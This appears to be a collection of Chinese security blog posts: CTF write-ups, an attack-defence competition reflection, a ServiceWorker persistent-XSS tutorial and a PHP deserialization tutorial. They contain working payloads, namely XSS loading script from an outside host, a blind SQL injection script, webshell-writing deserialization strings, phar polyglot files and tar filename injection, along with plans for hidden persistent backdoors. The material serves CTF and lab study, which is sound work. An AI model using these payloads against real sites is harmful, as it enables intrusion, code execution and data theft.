我们用test类来获取f1ag.php里的内容,返回给$content(Show类),$content的值再返回给C1e4r类的echo输出

C1e4r调用echo,而echo可以执行toString方法,所以我们让echo的值为我们要控的toString方法对应的类即show类的对象

有趣的邮箱注册

网站功能很少:提交邮箱地址->管理审核邮箱

给了hint:

<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, pleduase check your email";
}else{
echo "等待管理员自动审核";edit/5c1a5a3a38649f668227c9fd
echo $email;
}
}
?>
-->

之前有个红日审计项目,关于filter_var()匹配email的漏洞进行了剖析:https://xz.aliyun.com/t/2501

大致就是单引号双引号重叠,用\可以绕过空格,

然后我尝试了一下注入scirpt标签提交..尼玛直接成功了…

email="\ <sCRiPt\ sRC=https://unazizi.exeye.io/swctf></sCrIpT>\ "@aa.com

那它的意思应该是后台管理员会随时点击这个email,就触发了xss

因为打不到管理员的cookie,就打admin.php的页面源码了

发现后台会跳到:/admin/a0a.php?cmd=whoami

明显RCE,直接请求到这个url,发现出题人设置了本地,且匹配IP用的是 remote_addr,也就是说无法伪装IP

后台Bot一直会请求admin.php这个页面,xss 改变它请求的参数,让本地管理员帮我们执行这个命令

用XHR发送请求或者Location重定向都可以

反弹Shell后发现还有题目,后台有个上传页面和备份页面,其中backup.php可读内容如下

<?phpinclude("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
        echo "上传目录下的所有文件备份成功!<br />";
        echo "备份文件名: z.tar.gz";
}else{
        echo "未上传文件,无法备份!";
}
?>

也就是说它会备份我们上传目录下的所有文件,即*

上传一些文件名例如| echo "123">123.php

System 就会执行拼接后的$sys

当时题目坏了,出题师傅跟我说直接再弹一个shell,就可以拿到flag权限。。

然后直接给我了flag…2333…

感受

这次比赛是西南石油师傅举办的公益性比赛..觉得他们确实挺不容易的,学院不支持+自掏腰包办比赛,但是赛题质量都还不错,可见师傅们的用心,给个好评!

HCTF2018线下赛感想

跑去丢了一趟人,实在是对不起各位师傅

反思

比赛期恰逢考试期,几天一共就睡了几个小时,无论从体力或是经验都输的一塌糊涂。

这次比赛也算是给自己个教训,准备不充分,就把之前备好的流量成功监控了,其余的东西几乎没用

比赛开始配置网络用了挺长时间的,导致登上ssh以后就已经被别人上马了。

其实这是很吃亏的事:第一,你无法及时备份原始的目录,这就有一个很严重的后果,如果后来一不小心恢复了留有马子的备份一切功亏一篑,更严重的是,如果你的一些服务被恶意删了,那开局就直接崩盘。

第二,在你杀别人后门的时候,别人可能就已经打了你一轮,甚至可能会种新的马。而且杀后门的时间又占用了补洞的时间..新一轮的马子又会上来…

所以上线一定要快,备份打的一定要快!

教训就是,一定要在本地补好洞了,再传到机器上,宁可被打,也要修好自己的服务,被打总比down掉了好。这次吃了很大的亏,全场被check。

所以,不要随便就删漏洞点,有时候漏洞点也是功能点。补洞不代表无脑卡权限,这次include的文件包含洞就可以换成file_get_contents来补。最重要的事,不要随便就把目录555了,如果Check点是上传和下载功能就凉了

关于防御,一定要给自己留一个可用的后门,www-data权限一定得有一个,否则php进程可能都杀不掉

这次比赛后要准备的东西

吃足了教训:手动上马是非常愚蠢的行为

内置后门批量上马

蓝莲花的moxiaoxi师傅的脚本思路大致是这样的:

内置后门(能执行system函数),通过散列生成随机名字的隐藏不死马+守护进程维护不死马+软连接来隐藏真实的请求

最近要完成这个脚本

心态

心态真的是很重要,不要因为被打就慌张,找到洞点,补好了再上服务,切忌慌里慌张。

这次就算是交学费了,自闭

RootkitXSS之ServiceWorker

RootkitXSS之ServiceWorker

文章首发于先知:https://xz.aliyun.com/t/3228#toc-10

在拿到一个可以XSS点的时候后,持久化成为一种问题。这几天跟师傅们接触到RootkiXss的一些姿势,受益匪浅

Serviceworker定义

Service workers(后文称SW) 本质上充当Web应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。它们旨在(除其他之外)使得能够创建有效的离线体验,拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。

也就是说SW 提供了一组API,能够拦截当前站点产生HTTP请求,还能控制返回结果。因此,SW 拦住请求后,使用 Cache Storage 里的内容进行返回,就可以实现离线缓存的功能。当Cache Storage不存在请求的资源时再向服务器请求,cache.put可以选择性地将请求资源加载到cache storage中。如果不手动取消已经注册过的sw服务,刷新/重新打开页面都会启动站点的sw服务,这为我们持久化XSS提供了一定的条件。

查看SW服务

Chrome地址栏访问 chrome://serviceworker-internals/,就可以看见已有的后台服务。

注册serviceworker

注册点js代码

<script type="text/javascript">
    var url="//localhost/serviceworker.js";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
normal visit

script标签下的type必须指明为text/javascript

event.request.clone()

对象的内容如图

攻击条件

一个可以XSS的点

sw文件可控

如果说sw可以放在同源下,也就是js文件可控的话。直接注册Sw,代码如下:

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response
self.addEventListener('fetch', function (event) {  
    var url = event.request.clone(); 
    body = '<script>alert("test")</script>';
    init = {headers: { 'Content-Type': 'text/html' }};
    if(url.url=='http://localhost/reurl.html'){
        res  = new Response(body,init);
        event.respondWith(res.clone());
    }
});

jsonp回调接口

利用储值型X点写入下面的代码

当JSONP接口存在缺陷时,比如没有校验回调名。导致返回内容可控
比如:url?callback=importScript(…)
返回importScript(...)
代码实现如下:

<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();

header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");

attack_js

<script type="text/javascript">
    var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>

这里面callback回调的事件就相当于sw脚本。当js被执行之后会注册一个sw脚本,内容是回调的事件

或者鸡肋上传一个html到网站下

<html>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> 
<body>
<script type="text/javascript">
    var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
it's nothing
</body>
</html>

局限

  • 存在有缺陷的 JSONP 接口
  • JSONP 的目录尽可能浅(最好在根目录下),如果放在域的根目录下,将会收到这个域下的所有fetch事件
  • JSONP 返回的 Content-Type 必须是 JS 类型
  • 存在 XSS 的页面

在网上看到一个师傅这样作例,引用一下:
service worker文件被放在这个域的根目录下,这意味着service worker和网站同源。换句话说,这个service work将会收到这个域下的所有fetch事件。如果我将service worker文件注册为/example/sw.js,那么,service worker只能收到/example/路径下的fetch事件(例如: /example/page1/, /example/page2/)

Cache缓存污染

前文的攻击不涉及cache里的资源,进行的是协商缓存,下面说一下强缓存的利用。

请求资源

如果使用cache.put方法,则请求的资源成功后会存在Cache Storage里。如果fetch里写了caches.match(event.request)方法,则每次请求时会先从caches找缓存来优先返回给请求页面。若没有缓存,再进行新的缓存操作。

下面是一个缓存读取/判断的demo

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response。否则用Fetch请求网络上原本的url,进行本地缓存(为了不影响正常功能))
self.addEventListener('fetch', function (event) {  
        event.respondWith(
            //console.log(event.request)
        caches.match(event.request).then(function(res){
        if(res){//如果有缓存则使用缓存
        return res;
        }
        return requestBackend(event);//没缓存就进行缓存
        })
        )
   });

function requestBackend(event){  
        var url = event.request.clone();  
        console.log(url)  //打印内容是打印到请求页面
        if(url.url=='http://localhost/reurl.html'){//判断是否为需要劫持的资源

        return new Response("<script>alert(1)</script>", {headers: { 'Content-Type': 'text/html' }})
        }
        return fetch(url).then(function(res){
        //检测是否为有效响应
        if(!res || res.status !== 200 || res.type !== 'basic'){
        return res;
        }
        var response = res.clone();
        caches.open('v1').then(function(cache){  //打开v1缓存进行存储
        cache.put(event.request, response);
        });

        return res;
        })
}

分析

前几天看ED师傅的研究,发现这种好玩但是鸡肋的方法。上面提到cache.put的方法把js资源添加到Cache Storage,其实如果我们用cache.put把恶意代码插入,覆盖原始的js数据。后果就是当sw请求cahce里的资源时会执行恶意代码。比如workbox会先从缓存读取静态资源,我们用异步请求将恶意代码无限覆盖这个缓存时:

控制台输入下面的恶意代码

async function replay() {
    const name = 'xx'
    const url = 'xx'
    const payload = `
alert(1);
`
    let cache = await caches.open(name);
    let req = new Request(url);
    let res = new Response(payload + replay + ';replay()');   //执行alert+写入cache内容+执行fn
    setInterval(_ => {
      cache.put(req, res.clone());
    }, 500);
}
replay();

就可以在cache Storage里看到500ms刷新并覆盖一次的js资源。

相关链接

Service Worker API(https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API)

浏览器缓存知识(https://www.cnblogs.com/lyzg/p/5125934.html)

HCTF2018线上赛部分WriteUp

HCTF题解

admin

思路

提示只有admin才能查看

注册账号功能,发现注册大写和小写会提示重名注册。
也就是说 ADMIN<=>admin

有一篇文章将Unicode安全,提到的一个python函数canonical_username,这个函数会把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子
BIG会被转换为big。ᴬᴬᴬ,经过函数处理
后变成了AAA

  1. 我们注册形似ADMIN的名字
  2. 后台函数处理把形似ADMIN转换为ADMIN
  3. 修改ADMIN的密码,相当于修改admin的密码
  4. 登陆admin获得flag

相当于一个越权

相关链接

Unicode安全:http://blog.lnyas.xyz/?p=1411
Unicode近似字合集:https://www.compart.com/en/unicode/category/Lm

kznoe

解析

拿到题目发现砝码泄露,down了一份www.zip开始审

一眼看到sql文件,打开看看执行了哪些语句,发现后台账号密码

INSERT INTO `fish_admin` (`id`, `username`, `password`, `name`, `qq`, `per`) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', '小杰', '1503816935', 1);

登陆失败,被改了密码,开始审计

审计

整个钓鱼网站的大致结构:

根目录index.php跳转页

admin目录

admin目录下是钓鱼后台的管理,login逻辑判断登陆

include目录。

include下是配置文件,common入口文件包含了过滤和验证内容,其中:

  1. safe.php写了过滤规则,任何GET\POST\COOKIE请求的参数会经过filter
    function waf($string)
    {
     $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; // and updatexml(1,concat(0x7e,database())
     return preg_replace_callback($blacklist, function ($match) {
         return '@' . $match[0] . '@';
     }, $string);
    }
    

function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}

匹配到这些会在关键字前后添加@

2. member根据cookie判断是否已经登陆
3. founction封装了一些功能函数
4. db.class一些执行的sql语句

## 思路
### ip
刚开始审的时候看到了insert把ip入库,而且ip的获取是这样的:
![](https://i.loli.net/2018/11/13/5beac380388eb.jpg)
不用经过safe的过滤,但是下面的ip2long会把超限度的ip置空,因此ip注入行不通

### bypass
因为有全局过滤safe,所以一开始在想可不可以bypass掉,用hex绕过is_number的检测,使我们注入的语句不会经过filter。确实成功执行了我用hex传入的语句,但是mysql仅仅是把hex的值入库了,也无法进行二次利用。

### member.php
当时他们说可以用json形式的cookie注入,unicode编码绕过于是去看cookie逻辑登陆的地方

![](https://i.loli.net/2018/11/13/5beac35ebedb4.png)

cookie传入参数login_data解析查库,用了json_decode,那么就可以用unicode编码无视过滤
![](https://i.loli.net/2018/11/13/5beac38e39abe.png)

剩下的就是编写tamper脚本了,把payload替换成unicode。但是看到了微笑师傅的一个py脚本,不借助sqlmap,觉得写的很好,贴出来

-- coding: utf-8 --

import requests
import string

url = ‘http://kzone.2018.hctf.io/include/common.php'
str1 = string.ascii_letters+string.digits+’{}!@#$*&_,’

def check(payload):
cookie={
‘PHPSESSID’:’8ehnp28ccr4ueh3gnfc3uqtau1’,
‘islogin’:’1’,
‘login_data’:payload
}
try:
requests.get(url,cookies=cookie,timeout=3)
return 0
except:
return 1

result=’’
for i in range(1,33):
for j in str1:
payload = ‘{“admin_user”:”admin'//and//\u0069f(\u0061scii(\u0073ubstr((select//table_name//from//inf\u006Frmation_schema.tables//where//table_schema\u003ddatabase()//limit//0,1),%s,1))\u003d'%s',\u0073leep(4),1)//and//'1”}’% (str(i),ord(j))
payload = ‘{“admin_user”:”admin'/
/and//\u0069f(\u0061scii(\u0073ubstr((select//F1a9//from//F1444g),%s,1))\u003d%s,\u0073leep(4),1)//and//'1”,”admin_pass”:”123”}’% (str(i),ord(j))
#print(‘[+]’+payload)
if check(payload):
result += j
break
print(result)


只要是请求的页面包含common.php此脚本都能行得通,因为会引入member.php




ISCC2018 信阳杯线下赛小结

自己巨大的锅..感觉本能拿第一的,却只水了个第二。

从这篇起以后的日子闭关反思

线下ctf

上午的线下ctf就不说了,一个misc两个逆向。web狗:???
而且misc巨坑,感觉也是比脑洞,b32出来了对比hex还原再crc32。当时B32解出来有乱码,一直在测试编码的道路上,但结束后问了西工的师傅们才发现路走偏了。要学会习惯用winhex分析,跟原始的zip比对….这就解释了为什么有个504的文件头了..总之ctf体验极差

高地赛

当时拿到题目是两个私地,一个pwn,一个web.高地也是一个pwn
看到网上有这么个吐槽:
选手:“ISCC你又出新题啦!”

当时看到题,第一反应是17年的原题,ez的前端太好辨识了..
最扯淡的是,给了Mongodb的配置和17年的也一样..甚至连后台账号密码都没变。不过一开始我万能密码也进去了。但自己菜的也是真实,作为第一个打全场的队伍,后来权限没稳住又被别人反超…

Always onload,还有很多要学的

四个实例递进php反序列化

##声明
文章首发于安全客:https://www.anquanke.com/post/id/159206

索引

最近在总结php序列化相关的知识,看了好多前辈师傅的文章,决定对四个理解难度递进的序列化思路进行一个复现剖析。包括最近Blackhat议题披露的phar拓展php反序列化漏洞攻击面。前人栽树,后人乘凉,担着前辈师傅们的辅拓前行!

D0g3

为了让大家进入状态,来一道简单的反序列化小题,新来的表哥们可以先学习一下php序列化和反序列化。顺便安利一下D0g3小组的平台,后面会有题不断上新哦~
题目平台地址:http://ctf.d0g3.cn
题目入口:http://120.79.33.253:9001

页面给了源码

<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
show_source(__FILE__);

提醒大家补充php序列化知识的水题~

直接上传s:7:"D0g3!!!"即可get flag

绕过魔法函数的反序列化漏洞

漏洞编号CVE-2016-7124

魔法函数__sleep() 和 __wakeup()

php文档中定义__wakeup():

unserialize() 执行时会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。wakeup()经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。__sleep()则相反,是用在序列化一个对象时被调用

漏洞剖析

PHP5 < 5.6.25
PHP7 < 7.0.10
PHP官方给了示例:https://bugs.php.net/bug.php?id=72663
这个漏洞核心:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行比如下面这个类构造:

class hpdoger{
    public $a = 'nice to meet u';
    }

序列化这个类得到的结果:

O:7:"hpdoger":1:{s:1:"a";s:6:"nice to meet u";}

简单解释一下这个序列化字符串:
O代表结构类型为:类,7表示类名长度,接着是类名、属性(成员)个数
大括号内分别是:属性名类型、长度、名称;值类型、长度、值

正常情况下,反序列化一个类得到的结果:

析构方法和__wakeup都能够执行

如果我们把传入的序列化字符串的属性个数更改成大于1的任何数

O:7:"hpdoger":2:{s:1:"a";s:6:"u know";}

得到的结果如图,__wakeup没有被执行,但是执行了析构函数

假如我们的demo是这样的呢?

<?php
class A{
    var $a = "test";
    function __destruct(){
        $fp = fopen("D:\\phpStudy\\PHPTutorial\\WWW\\test\\shell.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }
    function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v) {
                    $this->$k = null;
            }
        }
}
$hpdoger = $_POST['hpdoger'];
$clan = unserialize($hpdoger);
?>

每次反序列化是都会调用__wakeup从而把$a值清空。但是,如果我们绕过wakeup不就能写Shell了?既然反序列化的内容是可控的,就利用上述的方法绕过wakeup。

poc:

O:1:"A":2:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}

序列化漏洞常见的魔法函数

__construct():当一个类被创建时自动调用
__destruct():当一个类被销毁时自动调用
__invoke():当把一个类当作函数使用时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__wakeup():当调用unserialize()函数时自动调用
__sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用

Session反序列化漏洞

Session序列化机制

提到这个漏洞,就得先知道什么叫Session序列化机制。

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。

PHP处理器的三种序列化方式:
| 处理器 | 对应的存储格式 |
| —————— |:———————|
| php_binary | 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |
| php | 键名+竖线+经过serialize()函数反序列处理的值 |
|php_serialize |serialize()函数反序列处理数组方式|

配置文件php.ini中含有这几个与session存储配置相关的配置项:

session.save_path=""   --设置session的存储路径,默认在/tmp
session.auto_start   --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   --定义用来序列化/反序列化的处理器名字。默认使用php

一个简单的demo(session.php)认识一下存储过程:

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['hpdoger'] = $_GET['hpdoger'];

?>

访问页面

http://localhost/test/session.php?hpdoger=lover

在session.save_path对应路径下会生成一个文件,名称例如:sess_1ja9n59ssk975tff3r0b2sojd5
因为选择的序列化处理方式为php_serialize,所以是被serialize()函数处理过的$_SESSION[‘hpdoger’]。存储文件内容:

a:1:{s:7:"hpdoger";s:5:"lover";}

如果选择的序列化处理方式为php,即ini_set('session.serialize_handler','php');,则存储内容为:

hpdoger|s:5:"lover";

漏洞剖析

选择的处理方式不同,序列化和反序列化的方式亦不同。如果网站序列化并存储Session与反序列化并读取Session的方式不同,就可能导致漏洞的产生。

这里提供一个demo:

存储Session页面

/*session.php*/

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['hpdoger'] = $_GET['hpdoger'];

?>

可利用页面

/*test.php*/

<?php 
ini_set('session.serialize_handler','php');
session_start();

class hpdoger{
    var $a;

    function __destruct(){
        $fp = fopen("D:\\phpStudy\\PHPTutorial\\WWW\\test\\shell.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }
}

?>

访问第一个页面的poc:

/tmp目录下生成的session文件内容:

a:1:{s:7:"hpdoger";s:52:"|O:7:"hpdoger":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}

再访问test.php时反序列化已存储的session,新的php处理方式会把“|”后的值当作KEY值再serialize(),相当于我们实例化了这个页面的hpdoger类,相当于执行:

$_SESSION['hpdoger'] = new hpdoger();
$_SESSION['hpdoger']->a = '<?php phpinfo()?>';

在指定的目录D:\phpStudy\PHPTutorial\WWW\test\shell.php中会写入内容<?php phpinfo()?>

jarvisoj-web的一道SESSION反序列化

题目入口(http://web.jarvisoj.com:32784/index.php)
Index页给源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

看到ini_set(‘session.serialize_handler’, ‘php’);

暂时没找到用php_serialize添加session的方法。但看到当get传入phpinfo时会实例化OowoO这个类并访问phpinfo()

这里参考Chybeta师傅的一个姿势:session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。

构造上传的表单poc,列出当前目录:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="|O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir(__dir__));";}" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]

读文件就行

|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents(/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php));";}

得到flag

CTF{4d96e37f4be998c50aa586de4ada354a}

phar伪协议触发php反序列化

最近Black Hat比较热的一个议题:It’s a PHP unserialization vulnerability Jim, but not as we know it。参考了创宇的文章,这里笔者把它作为php反序列化的最后一个模块,希望日后能在以上的几种反序列化之外拓宽新的思路。

phar://协议

可以将多个文件归入一个本地文件夹,也可以包含一个文件

phar文件

PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

phar文件结构

详情参考php手册(https://secure.php.net/phar)

这里摘出创宇提供的四部分结构概要:
1、a stub
识别phar拓展的标识,格式:xxx。对应的函数Phar::setStub

2、a manifest describing the contents
被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata–设置phar归档元数据

3、 the file contents
被压缩文件的内容。

4、[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering –停止缓冲对Phar存档的写入请求,并将更改保存到磁盘

Phar内置方法

要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)

PHP内置phar类,其他的一些方法如下:

$phar = new Phar('phar/hpdoger.phar'); //实例一个phar对象供后续操作
$phar->startBuffering()  //开始缓冲Phar写操作
$phar->addFromString('test.php','<?php echo \'this is test file\';'); //以字符串的形式添加一个文件到 phar 档案
$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案
$phar->extractTo()  //解压一个phar包的函数,extractTo 提取phar文档内容

漏洞剖析

文件的第二部分a manifest describing the contents可知,phar文件会以序列化的形式存储用户自定义的meta-data,在一些文件操作函数执行的参数可控,参数部分我们利用Phar伪协议,可以不依赖unserialize()直接进行反序列化操作,在读取phar文件里的数据时反序列化meta-data,达到我们的操控目的。

而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。

文件上传绕过deomo

自己写了个丑陋的代码,只允许gif文件上传(实则有其他方法绕过,这里不赘述),代码部分如下

前端上传:

<form action="http://localhost/test/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="hpdoger">
    <input type="submit" name="submit">
</form>

后端验证:

/*upload.php*/
<?php
    /*返回后缀名函数*/
    function getExt($filename){
        return substr($filename,strripos($filename,'.')+1);
    }

    /*检测MIME类型是否为gif*/
    if($_FILES['hpdoger']['type'] != "image/gif"){
        echo "Not allowed !";
        exit;
    }
    else{
        $filenameExt = strtolower(getExt($_FILES['hpdoger']['name']));    /*提取后缀名*/

        if($filenameExt != 'gif'){
            echo "Not gif !";
        }
        else{
            move_uploaded_file($_FILES['hpdoger']['tmp_name'], $_FILES['hpdoger']['name']);
            echo "Successfully!";
        }
    }
?>

代码判断了MIME类型+后缀判断,如下是我测试php文件的两个结果:
直接上传php

抓包更改content-type为 image/gif再次上传

可以看到两次都被拒绝上传,那我们更改phar后缀名再次上传

php环境编译生成一个phar文件,代码如下:

<?php 
class not_useful{
    var $file = "<?php phpinfo() ?>";
}

@unlink("hpdoger.phar");
$test = new not_useful();
$phar = new Phar("hpdoger.phar");

$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($test);
$phar->addFromString("test.txt","test");

$phar->stopBuffering();
?>

这里实例的类是为后面的demo做铺垫,php文件同目录下生成hpdoger.phar文件,我们更改名称为hpdoger.gif看一下

gif头、phar识别序列、序列化后的字符串都具备

上传一下看能否成功,成功绕过检测在服务端存储一个hpdoger.gif

利用Phar://伪协议demo

我们已经上传了可解析的phar文件,现在需要找到一个文件操作函数的页面来利用,这里笔者写一个比较鸡肋的页面,目的是还原流程而非真实情况。

代码如下:reapperance.php

<?php
    $recieve = $_GET['recieve'];

    /*写入文件类操作*/
    class not_useful{
        var $file;

        function __destruct(){
        $fp = fopen("D:\\phpStudy\\PHPTutorial\\WWW\\test\\shell.php","w"); //自定义写入路径
        fputs($fp,$this->file);
        fclose($fp);
    }

    file_get_contents($recieve);

?>

$recieve可控,符合我们的利用条件。那我们构造payload:

若执行成功,会将刚才写入meta-data数据里面序列化的类进行反序列化,并且实例了$file成员,导致文件写入,成功写入如下:

可利用的文件操作函数

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

各种文件头

类型 标识
JPEG 头标识ff d8 ,结束标识ff d9
PNG 头标识89 50 4E 47 0D 0A 1A 0A
GIF 头标识(6 bytes) 47 49 46 38 39(37) 61 GIF89(7)a
BMP 头标识(2 bytes) 42 4D BM

相关链接

jarvisoj-web-writeup(https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/#PHPINFO)
利用 phar 拓展 php 反序列化漏洞攻击面(https://paper.seebug.org/680/)

not found!